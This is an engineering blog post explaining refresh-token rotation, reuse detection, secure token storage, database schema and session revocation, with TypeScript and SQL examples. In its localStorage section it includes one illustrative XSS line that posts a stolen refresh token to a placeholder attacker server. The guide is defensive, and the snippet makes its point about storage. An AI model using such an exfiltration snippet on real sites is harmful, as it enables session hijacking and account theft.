Refresh Tokens and Session Management Explained

A deep dive into refresh tokens and session management: token rotation, reuse detection, secure client storage, and distributed session revocation architecture.

September 15, 202515 min readOpenStair Engineering
Diagram showing authentication tokens moving between app, API, and identity layers

Refresh Tokens and Session Management Explained

Every application that handles sensitive user data eventually confronts a fundamental security tension: users demand seamless, uninterrupted sessions that persist across app launches and tab closures, while security requirements mandate that compromised credentials, stolen devices, or hijacked tokens can be revoked immediately.

In a naive architecture, teams often swing between two extremes:

  1. Fully stateful server sessions (such as standard Redis- or relational-database-backed session cookies), which allow instantaneous revocation but impose an input/output (I/O) roundtrip on every single HTTP request, creating database read amplification and cross-region replication bottlenecks.
  2. Fully stateless JSON Web Tokens (JWTs), which eliminate database queries at the API gateway via asymmetric cryptographic verification, but cannot be invalidated before their expiration timestamp without reintroducing distributed state.

The industry standard pattern to resolve this tension is the Dual-Token Architecture coupled with Refresh Token Rotation (RTR) and Automatic Reuse Detection, formalized in RFC 6749, RFC 6819, and OAuth 2.1 specifications.

This guide explores the architectural mechanics of refresh tokens and modern session management: how to decouple edge authorization from stateful identity checks, how to implement cryptographic token rotation with reuse detection, how to secure client-side storage across web and mobile runtimes, and how to model high-performance session revocation topologies in production.


1. Session Topologies: Stateful, Stateless, and Dual-Token

Choosing a session topology requires evaluating the trade-offs between revocation latency, database load, network overhead, and distributed consistency.

+----------------------------------------------------------------------------------------------------+
|                                      SESSION TOPOLOGY SPECTRUM                                     |
|                                                                                                    |
|   Stateful Sessions                      Dual-Token Architecture                     Pure Stateless |
|   (Redis / Database)                     (Short JWT + Tracked Refresh)               (Long-Lived JWT)|
|  ◄───────────────────────────────────────────────────────────────────────────────────────────────► |
|   • 0s Revocation Latency                • 5–15m Access Token Window                 • No Early Revocation|
|   • DB Query on Every Request            • DB Query Only on Refresh                  • 0 DB Queries |
|   • Centralized Bottleneck               • Scalable Edge Gateway Validation          • Security Risk|
+----------------------------------------------------------------------------------------------------+

Model A: Stateful Server-Side Sessions

In a classic stateful session architecture, the client receives an opaque cryptographically random session identifier (e.g., a 128-bit CSPRNG string) stored inside an HttpOnly, Secure cookie.

On every incoming request:

  1. The web server or API gateway extracts the session identifier from the cookie.
  2. The server performs a lookup against a shared key-value store (such as Redis or Memcached) or an RDBMS table to verify that the session exists, has not expired, and matches the active user account.
  3. If valid, the user identity and permission context are attached to the request pipeline.
  • Advantages: Immediate revocation. Deleting the session record from the cache terminates the user's access instantly across all services.
  • Failure Modes: Every single request amplifies network and database load. If the central session store experiences latency spikes or network partitions, the entire application becomes unavailable. Furthermore, deploying multi-region active-active architectures requires synchronizing session state across global regions with low latency, introducing distributed replication overhead.

Model B: Pure Stateless JWT Sessions

To avoid session database bottlenecks, applications sometimes issue long-lived signed JWTs (valid for days or weeks) stored on the client.

On incoming requests:

  1. The API gateway verifies the cryptographic signature (e.g., using an asymmetric public key such as Ed25519 or RS256) and inspects the token's exp (expiration) and nbf (not before) claims.
  2. No database or cache lookup is performed.
  • Advantages: Infinite horizontal scalability. Any gateway instance or microservice can validate the token in memory with zero network calls.
  • Failure Modes: Statelessness eliminates control. If an access token is leaked (via XSS, network interception, or logging), the attacker retains unrestricted access until the token naturally expires. A user who resets their password, changes their email, or triggers a "log out of all devices" command remains vulnerable because the token remains mathematically valid until its expiration timestamp.

Model C: The Dual-Token Architecture (OAuth 2.1 / OIDC)

The dual-token pattern combines the performance advantages of stateless token verification with the security guarantees of stateful revocation:

  1. Access Token (Short-Lived & Stateless): A signed JWT containing user claims and scopes. It has a short lifespan—conventionally between 5 and 15 minutes. It is validated statelessly at API gateways or microservices via public-key cryptography.
  2. Refresh Token (Long-Lived & Database-Tracked): An opaque, high-entropy cryptographic secret with a lifespan of days to weeks (e.g., 14 to 30 days). It is tracked in a relational database or distributed store and is submitted only to a dedicated /api/auth/refresh endpoint to mint a new access token when the current one expires.

This separation ensures that 99% of API requests execute statelessly without touching the database, while user revocation, account suspensions, and session lifecycles are enforced at regular intervals during token refresh.


2. Comprehensive Topology Comparison

The following matrix evaluates the three architectures across eight production dimensions:

| Dimension | Stateful Sessions (Redis/RDBMS) | Pure Stateless JWT | Dual-Token with Rotation (RTR) | | :--- | :--- | :--- | :--- | | Primary Storage | Server-side memory/DB; opaque ID in client cookie | Client storage only (Cookie or Memory) | Stateless JWT at client; Refresh token in client cookie & auth DB | | Revocation Latency | Instantaneous (0 ms0\text{ ms} upon record deletion) | Impossible until exp expires without distributed blocklist | Bounded to Access Token lifetime (typically 5–15 minutes) | | Gateway DB Load | High: 1 read per incoming request | Zero: in-memory cryptographic verification | Low: DB hit only during refresh cycle (every 5–15 min per active client) | | Cross-Region Scale | Complex: requires low-latency global session cache replication | Trivial: public key distributed to edge nodes | High: Gateway validates locally; refresh calls route to primary DB | | Header / Wire Overhead| Minimal (opaque 32–64 byte ID) | Significant (500–2,000 bytes per HTTP request for JWT payload) | Significant for JWT requests; minimal during refresh exchange | | Implementation Complexity| Low: built into standard web frameworks | Moderate: requires key rotation and signature verification | High: requires atomic token rotation, reuse detection, and family tracking | | Microservice Delegation| Poor: downstream services must query session store or gateway context | Excellent: JWT payload propagates user claims and scopes across boundaries | Excellent: Access Token propagates statelessly across microservices | | Blast Radius of DB Leak| Stolen session tokens allow active hijacking until cache flush | N/A (no tokens stored in DB; signing key compromise is catastrophic) | Hashed tokens prevent replay even if database records are read |


3. Architectural Mechanics: The Dual-Token Lifecycle

The interaction between the client, the API gateway, and the centralized authorization service follows a predictable lifecycle:

+-------------------+             +-----------------------+             +-------------------------+
|      Client       |             |      API Gateway      |             |  Authorization Server   |
|   (Browser/App)   |             |    (Reverse Proxy)    |             |       & Database        |
+-------------------+             +-----------------------+             +-------------------------+
          |                                   |                                      |
          | 1. POST /api/auth/login           |                                      |
          |------------------------------------------------------------------------->|
          |                                   |                                      |
          | 2. Returns: Access Token (JWT, 15m) & Refresh Token (Cookie/Secret, 30d) |
          |<-------------------------------------------------------------------------|
          |                                   |                                      |
          | 3. GET /api/v1/orders             |                                      |
          |    Authorization: Bearer <JWT>    |                                      |
          |---------------------------------->|                                      |
          |                                   | 4. Stateless Verification:           |
          |                                   |    - Verify signature via public key |
          |                                   |    - Check exp, nbf, iss, aud        |
          |                                   |    (Zero database queries)           |
          |                                   |                                      |
          | 5. Returns 200 OK + Resource Data |                                      |
          |<----------------------------------|                                      |
          |                                   |                                      |
     [... 15 minutes elapse: Access Token expires ...]                               |
          |                                   |                                      |
          | 6. GET /api/v1/orders             |                                      |
          |    Authorization: Bearer <Expired>|                                      |
          |---------------------------------->|                                      |
          | 7. Returns 401 Unauthorized       |                                      |
          |<----------------------------------|                                      |
          |                                   |                                      |
          | 8. POST /api/auth/refresh (Sends Refresh Token R_0)                      |
          |------------------------------------------------------------------------->|
          |                                   |                                      |
          |                                   | 9. Stateful Token Exchange:          |
          |                                   |    - Hash R_0 -> SHA-256             |
          |                                   |    - Verify token in DB              |
          |                                   |    - Burn R_0, issue new R_1 & JWT_1 |
          |                                   |                                      |
          | 10. Returns: New Access Token (JWT_1) & New Refresh Token (R_1)          |
          |<-------------------------------------------------------------------------|

Why Calibrate Access Token Lifetimes to 5–15 Minutes?

The lifespan of an access token determines the maximum window of vulnerability if an unrevoked token is extracted by an attacker.

  • If the lifetime is too long (e.g., 24 hours), a revoked employee or compromised session maintains unauthorized API access for up to a day.
  • If the lifetime is too short (e.g., 30 seconds), client refresh requests inundate the authorization server, creating severe database lock contention and network chattiness.
  • A window of 5 to 15 minutes is an established engineering consensus: it bounds the exposure window to minutes while maintaining a modest refresh rate (4 to 12 token exchanges per hour per active user).

4. Refresh Token Rotation (RTR) and Reuse Detection

Historically, OAuth 2.0 allowed refresh tokens to be long-lived, static secrets that were reused repeatedly to generate new access tokens. However, RFC 6819 (OAuth 2.0 Threat Model) and OAuth 2.1 introduce strict requirements: Refresh tokens issued to public or single-page clients must either be sender-constrained (e.g., via mTLS or DPoP RFC 9449) or rotated on every single use.

The Rotation Invariant

Under Refresh Token Rotation (RTR):

  1. Every time a refresh token is submitted to /api/auth/refresh, that token is immediately burned (invalidated).
  2. The authorization server generates a brand new refresh token and a new access token, returning both to the client.
  3. The client updates its storage with the new refresh token.

The "Stolen Token Canary" and Automatic Breach Detection

Rotation turns refresh tokens into an automated breach-detection mechanism, known as Token Reuse Detection.

All refresh tokens created from an initial user login belong to a single logical Token Family (family_id). When token rotation is enforced, each token can only ever be consumed once.

Consider what occurs when a token is intercepted:

================================ NORMAL ROTATION ================================

  Client Submits R_0 ───> [Auth Server Validates R_0]
                                 │
                                 ├──> Marks R_0 as Consumed (consumed_at = NOW)
                                 ├──> Links replaced_by_id = R_1.id
                                 └──> Issues R_1 (New Refresh) + A_1 (New Access)
                                 │
  Client Receives R_1 <──────────┘

================================ REUSE / BREACH DETECTED ================================

  Attacker Intercepts R_0 (Prior to rotation)
  
  Timeline:
  t0: Legitimate Client exchanges R_0 ──> Receives R_1 (R_0 is now marked Consumed)
  t1: Attacker presents stolen R_0 ────> [Auth Server Checks R_0]
                                                │
                                                ▼
                                    Is R_0 already consumed?
                                                │
                                        YES (Past Grace Period)
                                                │
                                                ▼
                                    [SECURITY BREACH DETECTED]
                                                │
                       ┌────────────────────────┴────────────────────────┐
                       ▼                                                 ▼
          [Revoke Entire Family (family_id)]                [Emit Security Telemetry]
          - Sets is_revoked = true for all tokens           - Alert SIEM / SOC
          - Invalidates active user session                 - Force re-authentication
          - Attacker request REJECTED (401/403)             - Log user security event

Whether the legitimate user or the attacker attempts to use R0R_0 second, the server detects that an already-consumed token is being re-presented. Because legitimate applications discard consumed tokens, duplicate presentation is definitive evidence of an active token compromise.

The authorization server immediately executes family-wide invalidation:

  1. Marks all tokens in the family_id as revoked (is_revoked = true).
  2. Forces immediate termination of all sessions associated with that token lineage.
  3. Emits high-priority security audit events to alert security monitoring systems.

Handling Concurrency: The Grace Window

In production web and mobile applications, strict single-use rotation encounters a severe real-world failure mode: in-flight concurrency.

When an access token expires, a client application loading a complex dashboard may fire multiple asynchronous HTTP requests simultaneously (e.g., fetching user profile, notification counts, and navigation items). All four requests receive a 401 Unauthorized and concurrently invoke the token refresh handler using the exact same refresh token R0R_0.

Without mitigation, the first request succeeds and burns R0R_0. The second request arrives milliseconds later, presents the already-burned R0R_0, and triggers the reuse detection alarm—maliciously locking out an innocent user!

The Solution: The Concurrency Grace Window The authorization server enforces a configurable grace period (typically 15 to 30 seconds):

  • When a refresh token R0R_0 is rotated, it is marked as consumed_at = NOW() and records replaced_by_id = R_1.id.
  • If R0R_0 is presented again within the grace window (t≤consumed_at+Tgracet \le \text{consumed\_at} + T_{\text{grace}}), the server recognizes a concurrent client race condition. Instead of raising an alarm, it re-returns the already-minted replacement token (R1R_1) and current access token.
  • If R0R_0 is presented after the grace window has elapsed (t>consumed_at+Tgracet > \text{consumed\_at} + T_{\text{grace}}), it is treated as an active breach, immediately invalidating the entire family.

5. Client Storage Security: Threat Models and Platform Realities

Where and how tokens are persisted on client devices determines vulnerability to exfiltration.

The Web Browser Threat Model

In modern web applications, the primary threat vector is Cross-Site Scripting (XSS). If an application contains an XSS vulnerability—or imports a compromised third-party npm package—malicious JavaScript executes with the full privileges of the application's origin.

The localStorage / sessionStorage Anti-Pattern

Storing access or refresh tokens in Web Storage (localStorage or sessionStorage) is a severe security liability:

// Any injected script, third-party analytics tag, or supply-chain payload can execute:
fetch("https://attacker-controlled-server.com/exfiltrate", {
  method: "POST",
  body: JSON.stringify({
    stolenToken: localStorage.getItem("refresh_token")
  })
});

Web Storage provides zero isolation from client-side JavaScript. If an attacker achieves script execution, tokens stored in localStorage can be extracted in milliseconds.

The Browser Gold Standard: Secure HTTP-Only Cookies

To protect tokens from script exfiltration, tokens should be stored in browser cookies configured with protective security directives:

  • HttpOnly: Explicitly forbids client-side JavaScript from accessing the cookie via document.cookie, preventing XSS exfiltration scripts from reading the token payload.
  • Secure: Directs the browser to only transmit the cookie over encrypted TLS/HTTPS connections.
  • SameSite=Lax or SameSite=Strict: Controls whether the cookie is sent during cross-site requests, mitigating Cross-Site Request Forgery (CSRF). SameSite=Lax allows cookies on top-level cross-site navigations (e.g., following a link from an external site) while blocking cross-site background requests (AJAX/Fetch/Form submissions).
  • Path=/api/auth/refresh: Scopes the refresh token cookie exclusively to the authentication refresh endpoint. The browser will never transmit the refresh token during standard API queries or static asset requests, drastically reducing wire exposure.

The Backend-for-Frontend (BFF) Pattern

For Single-Page Applications (SPAs) and Server-Side Rendered (SSR) frameworks like Next.js, the most robust architectural pattern is the Backend-for-Frontend (BFF):

+-----------------------+              +-------------------------+              +-------------------------+
|     Web Browser       |              |   BFF / Next.js Server  |              |  Downstream Services    |
|   (Untrusted DOM)     |              |    (Trusted Backend)    |              |   (Microservices / API) |
+-----------------------+              +-------------------------+              +-------------------------+
           |                                        |                                        |
           | 1. HTTP Request                        |                                        |
           |    Cookie: __Host-session=EncryptedId  |                                        |
           |    (HttpOnly, Secure, SameSite=Strict) |                                        |
           |--------------------------------------->|                                        |
           |                                        | 2. Server decrypts session             |
           |                                        |    Extracts access token               |
           |                                        |                                        |
           |                                        | 3. Proxied Upstream Call               |
           |                                        |    Authorization: Bearer <raw_jwt>     |
           |                                        |--------------------------------------->|
           |                                        |                                        |
           |                                        | 4. Returns Resource Payload            |
           |                                        |<---------------------------------------|
           |                                        |                                        |
           | 5. Returns Data (Tokens Never In DOM)  |                                        |
           |<---------------------------------------|                                        |

In this architecture:

  1. Raw JWT access tokens and refresh tokens never touch the browser runtime.
  2. The browser maintains a lightweight, encrypted session cookie communicating only with the Next.js server.
  3. The BFF proxy manages token storage, handles automatic background rotation against the upstream identity provider, attaches standard Bearer tokens to microservice calls, and returns clean business payloads to the frontend.

Native Mobile Security: Hardware-Backed Storage

Mobile operating systems (iOS and Android) do not operate in a shared DOM environment, making browser-style XSS irrelevant. However, mobile devices face distinct physical threats: device theft, unauthorized file-system extraction, physical memory extraction, and root/jailbreak privilege escalation.

Tokens must never be persisted in unencrypted formats like Android SharedPreferences or iOS UserDefaults. Instead, native mobile applications must use hardware-backed security modules:

  • iOS: Use Keychain Services configured with kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly. Cryptographic keys guarding the keychain are managed directly by the hardware Secure Enclave coprocessor, preventing extraction even if an unencrypted device backup is inspected.
  • Android: Use the Android Keystore system backed by a Trusted Execution Environment (TEE) or dedicated hardware security module (StrongBox). Data is encrypted via the EncryptedSharedPreferences library using hardware-isolated AES-256 GCM keys.

6. Client Storage Mechanism Comparison

| Storage Mechanism | Primary Threat Surface | XSS Protection | CSRF Protection | Persistence | Recommended Use Case | | :--- | :--- | :--- | :--- | :--- | :--- | | localStorage | Any XSS vulnerability exposes tokens immediately | ❌ Vulnerable (Readable by any script in origin) | N/A (Not transmitted automatically) | Persistent across tabs and browser restarts | Non-sensitive UI preferences only; never for auth tokens | | sessionStorage | XSS within active browser tab | ❌ Vulnerable (Readable by script in active tab) | N/A (Not transmitted automatically) | Scoped to single tab lifecycle; cleared on tab close | Ephemeral view state; never for credentials | | HttpOnly Cookie (SameSite=Lax, Path-scoped) | CSRF if SameSite is omitted; Subdomain takeover | ✅ Protected (Inaccessible to document.cookie) | ✅ Protected via SameSite and anti-CSRF headers | Configurable via Max-Age / Expires attributes | Web standard for refresh tokens in browser clients | | iOS Keychain (Secure Enclave) | Device compromise with active hardware exploit | ✅ Immune (Isolated from web engines) | N/A (Native non-browser runtime) | Persistent until explicit application wipe | Mobile standard for iOS credentials | | Android Keystore (TEE / StrongBox) | Device rooting with kernel-level exploit | ✅ Immune (Isolated from web engines) | N/A (Native non-browser runtime) | Persistent until explicit application wipe | Mobile standard for Android credentials |


7. Database Modeling: Token Family Ledger

A production database schema must satisfy three operational requirements:

  1. Never store plaintext refresh tokens: If a database replica or backup is compromised, plaintext tokens allow attackers to impersonate users. Refresh tokens must be hashed using a cryptographic hash function like SHA-256 before insertion.
  2. Track parent-child rotation lineages: To implement reuse detection, each token record must link to its unique family_id and record its immediate successor (replaced_by_id).
  3. High-performance indexes: Token verification operates on high-frequency paths and requires constant-time indexed lookups.

Production PostgreSQL Schema

The following schema defines a normalized token family ledger with cascade constraints, rotation metadata, and conditional indexes:

-- Enable cryptographic extension for UUID generation
CREATE EXTENSION IF NOT EXISTS "pgcrypto";

-- User accounts table with global revocation tracking
CREATE TABLE users (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    email VARCHAR(255) NOT NULL UNIQUE,
    token_version INTEGER NOT NULL DEFAULT 1,
    last_revoked_at TIMESTAMPTZ,
    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
);

-- Refresh Token Family Ledger
CREATE TABLE refresh_tokens (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    user_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE,
    family_id UUID NOT NULL,
    -- SHA-256 digest produces 64 hex characters (256 bits)
    token_hash CHAR(64) NOT NULL UNIQUE,
    is_revoked BOOLEAN NOT NULL DEFAULT FALSE,
    replaced_by_id UUID REFERENCES refresh_tokens(id) ON DELETE SET NULL,
    expires_at TIMESTAMPTZ NOT NULL,
    created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
    consumed_at TIMESTAMPTZ
);

-- Fast lookup by token hash during /api/auth/refresh (O(1) unique B-tree lookup)
CREATE UNIQUE INDEX idx_refresh_tokens_hash ON refresh_tokens(token_hash);

-- Fast lookup for family-wide revocation during breach detection
CREATE INDEX idx_refresh_tokens_family_id ON refresh_tokens(family_id);

-- User-level session management (e.g., listing all active devices)
CREATE INDEX idx_refresh_tokens_user_active ON refresh_tokens(user_id) 
WHERE is_revoked = FALSE;

8. Concrete Implementation: Production TypeScript Service

The following self-contained TypeScript service implements atomic token rotation, SHA-256 cryptographic hashing, reuse breach detection with family invalidation, and concurrency grace periods using standard Node.js cryptographic primitives:

import crypto from "node:crypto";

export interface RefreshTokenRecord {
  id: string;
  userId: string;
  familyId: string;
  tokenHash: string;
  isRevoked: boolean;
  replacedById: string | null;
  expiresAt: Date;
  createdAt: Date;
  consumedAt: Date | null;
}

export interface TokenFamilyRepository {
  findByTokenHash(tokenHash: string): Promise<RefreshTokenRecord | null>;
  findTokenById(tokenId: string): Promise<RefreshTokenRecord | null>;
  createToken(token: Omit<RefreshTokenRecord, "id" | "createdAt">): Promise<RefreshTokenRecord>;
  markConsumed(tokenId: string, replacedById: string, consumedAt: Date): Promise<void>;
  revokeEntireFamily(familyId: string): Promise<void>;
}

export class TokenReuseBreachError extends Error {
  public readonly familyId: string;
  public readonly userId: string;

  constructor(message: string, familyId: string, userId: string) {
    super(message);
    this.name = "TokenReuseBreachError";
    this.familyId = familyId;
    this.userId = userId;
  }
}

export interface RotateTokenResult {
  newRefreshToken: string;
  expiresAt: Date;
  familyId: string;
  userId: string;
}

export class RefreshTokenService {
  private readonly repository: TokenFamilyRepository;
  private readonly gracePeriodMs: number;
  private readonly tokenTtlMs: number;

  constructor(
    repository: TokenFamilyRepository,
    options?: { gracePeriodMs?: number; tokenTtlMs?: number }
  ) {
    this.repository = repository;
    // 20-second grace window to absorb in-flight concurrent requests during page load
    this.gracePeriodMs = options?.gracePeriodMs ?? 20_000;
    // 30-day token lifetime
    this.tokenTtlMs = options?.tokenTtlMs ?? 30 * 24 * 60 * 60 * 1000;
  }

  /**
   * Generates a cryptographically secure 256-bit random string.
   */
  public generateTokenSecret(): string {
    return crypto.randomBytes(32).toString("base64url");
  }

  /**
   * Computes a deterministic SHA-256 hex digest of the raw token.
   * Database stores only this 64-character hash.
   */
  public hashToken(rawToken: string): string {
    return crypto.createHash("sha256").update(rawToken, "utf8").digest("hex");
  }

  /**
   * Executes atomic token rotation with reuse detection and grace window handling.
   */
  public async rotateRefreshToken(submittedRawToken: string): Promise<RotateTokenResult> {
    const tokenHash = this.hashToken(submittedRawToken);
    const existingRecord = await this.repository.findByTokenHash(tokenHash);

    if (!existingRecord) {
      throw new Error("Invalid or unallocated refresh token.");
    }

    // Guard: Has the family already been revoked?
    if (existingRecord.isRevoked) {
      throw new Error("Session has been terminated. Please authenticate again.");
    }

    const now = new Date();

    // Guard: Has the token reached absolute expiration?
    if (existingRecord.expiresAt.getTime() < now.getTime()) {
      await this.repository.revokeEntireFamily(existingRecord.familyId);
      throw new Error("Refresh token expired. Please log in again.");
    }

    // REUSE DETECTION: Has this token already been consumed?
    if (existingRecord.consumedAt !== null) {
      const elapsedSinceConsumption = now.getTime() - existingRecord.consumedAt.getTime();

      // Check if within concurrency grace window
      if (elapsedSinceConsumption <= this.gracePeriodMs && existingRecord.replacedById) {
        const replacement = await this.repository.findTokenById(existingRecord.replacedById);
        if (replacement && !replacement.isRevoked) {
          // Idempotently return session context for the active successor
          return {
            newRefreshToken: "[RETAIN_EXISTING_ROTATED_TOKEN]",
            expiresAt: replacement.expiresAt,
            familyId: replacement.familyId,
            userId: replacement.userId,
          };
        }
      }

      // OUTSIDE GRACE PERIOD: Malicious replay / token theft detected!
      // Revoke the entire lineage immediately to protect the user
      await this.repository.revokeEntireFamily(existingRecord.familyId);

      throw new TokenReuseBreachError(
        "Token reuse breach detected: Compromised token lineage revoked.",
        existingRecord.familyId,
        existingRecord.userId
      );
    }

    // NORMAL ROTATION: Burn current token and issue successor
    const newRawSecret = this.generateTokenSecret();
    const newHash = this.hashToken(newRawSecret);
    const newExpiresAt = new Date(now.getTime() + this.tokenTtlMs);

    // 1. Create new token record within the same family
    const newRecord = await this.repository.createToken({
      userId: existingRecord.userId,
      familyId: existingRecord.familyId,
      tokenHash: newHash,
      isRevoked: false,
      replacedById: null,
      expiresAt: newExpiresAt,
      consumedAt: null,
    });

    // 2. Mark existing token as consumed and link to replacement
    await this.repository.markConsumed(existingRecord.id, newRecord.id, now);

    return {
      newRefreshToken: newRawSecret,
      expiresAt: newExpiresAt,
      familyId: existingRecord.familyId,
      userId: existingRecord.userId,
    };
  }
}

9. Session Revocation Topologies & Lifecycle Policies

Real-world identity systems require fine-grained revocation controls: revoking a single device session when a user clicks "Log Out", terminating all active sessions when a password changes, and enforcing inactivity timeouts.

+-----------------------------------------------------------------------------------------------+
|                                  REVOCATION SCOPE TOPOLOGIES                                  |
|                                                                                               |
|  Single Device Logout:                                                                        |
|  UPDATE refresh_tokens SET is_revoked = TRUE WHERE family_id = :currentFamilyId;              |
|                                                                                               |
|  Global Account Logout ("Log Out All Devices"):                                               |
|  1. UPDATE users SET last_revoked_at = NOW(), token_version = token_version + 1               |
|     WHERE id = :userId;                                                                       |
|  2. UPDATE refresh_tokens SET is_revoked = TRUE WHERE user_id = :userId;                       |
+-----------------------------------------------------------------------------------------------+

1. Single Session vs. Global Account Logout

  • Single Session Logout: The user logs out of their current browser or phone. The server updates refresh_tokens SET is_revoked = TRUE WHERE family_id = :familyId and clears the client's cookie. All other devices remain active.
  • Global Account Logout ("Log Out of All Devices"): Initiated after a password reset, credential compromise, or explicit user action.
    1. All active refresh tokens for the user are revoked in the database (is_revoked = TRUE WHERE user_id = :userId).
    2. The user record's token_version is incremented or last_revoked_at is set to NOW().

2. Bridging the JWT Revocation Gap

Because access tokens are validated statelessly at API gateways, what happens during a global logout if an access token still has 7 minutes remaining before its exp timestamp?

In mission-critical security environments, relying strictly on natural JWT expiration may be insufficient. Teams employ three architectural strategies to bridge this gap:

  1. Short Access Token Windows: Bounding access tokens to 5 minutes limits the maximum unauthorized window to 300 seconds without introducing gateway state.
  2. Gateway-Level Revocation Cache: The API gateway maintains a local, high-speed Redis cache containing (userId -> last_revoked_at). During stateless verification, the gateway compares the token's iat (issued at) claim: if jwt.iat<cache.last_revoked_at  ⟹  REJECT\text{if } jwt.iat < \text{cache.last\_revoked\_at} \implies \text{REJECT} Because this lookup queries a local in-memory Redis cluster by user ID, it avoids hitting the primary relational database while providing sub-second global invalidation.
  3. Bloom Filters / Distributed Blocklists: For individual revoked access token identifiers (jti), gateways maintain synchronized counting Bloom filters or Redis sets with TTLs matching the token's remaining lifespan.

3. Inactivity Timeout (Sliding Window) vs. Absolute Session Lifetime

Session duration should be governed by two distinct constraints:

  • Sliding Window (Inactivity Expiration): The refresh token expiration extends with active usage (e.g., each rotation grants an additional 14 days). If a user does not open the application for 14 consecutive days, the session expires due to inactivity.
  • Absolute Maximum Lifetime (Session Hard Cap): Regardless of continuous daily usage, the session must terminate after a fixed duration (e.g., 30 or 60 days from initial credential authentication).

Enforcing an absolute maximum lifetime ensures that orphaned sessions on old or forgotten hardware do not persist indefinitely, requiring the user to re-authenticate with primary credentials and multi-factor authentication (MFA) on a scheduled cadence.


10. Production Session Security Checklist

Before deploying a dual-token session architecture to production, verify each requirement against this engineering checklist:

  • [ ] Cryptographic Entropy: Refresh tokens are generated using a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG), such as crypto.randomBytes(32), providing at least 256 bits of entropy.
  • [ ] Database Token Hashing: Refresh tokens are never stored in cleartext. Only deterministic cryptographic digests (such as SHA-256) are persisted in the database.
  • [ ] Strict Refresh Token Rotation (RTR): Every token refresh exchange invalidates the submitted token and issues a new successor token.
  • [ ] Automated Reuse Detection: Presentation of an already-consumed refresh token immediately revokes the entire token family and logs a security breach alert.
  • [ ] Concurrency Grace Window: A grace period of 15–30 seconds is implemented to absorb legitimate concurrent client requests on application launch without triggering false-positive lockouts.
  • [ ] Secure Web Cookies: In browser environments, refresh tokens are stored exclusively in cookies configured with HttpOnly, Secure, SameSite=Lax (or Strict), and restricted to Path=/api/auth/refresh.
  • [ ] Hardware-Backed Mobile Storage: Native mobile clients persist tokens using the iOS Keychain (Secure Enclave) or Android Keystore (TEE/StrongBox), never in plain app preferences or unencrypted local files.
  • [ ] Short Access Token Lifespan: Access tokens expire within 5 to 15 minutes to minimize exposure windows from memory or network leaks.
  • [ ] Dual-Cadence Lifecycles: Session policies enforce both an inactivity sliding window and an absolute hard session cap.
  • [ ] Session Revocation Telemetry: Token reuse breaches, abnormal rotation frequencies, and family revocation events are routed to observability pipelines and security information and event management (SIEM) systems.

Conclusion

Session management is rarely a binary choice between pure server state and pure client statelessness. The most resilient production systems recognize that authorization proof and session lifecycle management belong at different operational layers.

By deploying a Dual-Token Architecture—pairing short-lived, statelessly verified access tokens at the API gateway with hashed, family-tracked refresh tokens rotated upon each use—engineering teams eliminate database bottlenecks across the vast majority of API requests while retaining authoritative, instantaneous revocation control at the boundary where it matters most.

Related articles

Illustration of logs, metrics, traces, and alerts feeding an observability dashboard
Backend

Backend Observability: Logs, Metrics, Traces, and Alerts

September 23, 2025 · 18 min read

A comprehensive engineering guide to backend observability: RED and USE metrics, structured logging, OpenTelemetry distributed tracing, tail sampling, and SRE error budget alerting.

BackendAPIsSoftware EngineeringArchitecture